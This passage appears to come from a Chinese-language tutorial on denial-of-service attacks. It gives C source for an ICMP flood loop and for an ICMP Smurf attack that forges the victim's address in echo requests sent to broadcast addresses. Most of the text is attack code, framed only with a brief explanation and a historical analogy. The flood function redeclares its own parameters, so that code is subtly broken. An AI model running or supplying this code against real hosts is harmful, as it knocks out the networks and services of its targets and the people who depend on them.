int icmpFlood(int PacketSize, char *DestIp, int type, int code) { int datasize, ErrorCode; int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0; char SendBuf[65535] = { 0 }; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; if (PacketSize > 65500) { return FALSE; }
if (type > 16) { return FALSE; }
if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0) { return FALSE; }
if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { return FALSE; }
ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut)); if (ErrorCode == SOCKET_ERROR) { return FALSE; }
printf("Starting...\n\n"); memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_addr.s_addr = inet_addr(DestIp);
icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq = 999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf + sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);
datasize = sizeof(icmp_header) + PacketSize;
while (1) { printf("Sending 1024 packets...\n"); for (counter = 0; counter < 1024; counter++) { ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode == SOCKET_ERROR) printf("\nSend Error:%d\n", GetLastError()); } }
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); return TRUE; }
ICMP SMURF
攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:
从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照样威力无穷。
一个实现ICMP SMURF的程序框架如下:
void icmpSmurf(void) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192);
//… memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); //…
x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile);
if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit( - 1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit( - 1); }
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit( - 1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } |
其中调用的smurf()函数为:
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr*)packet; icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr*) &sin, sizeof(struct sockaddr));
free(packet); }
|
|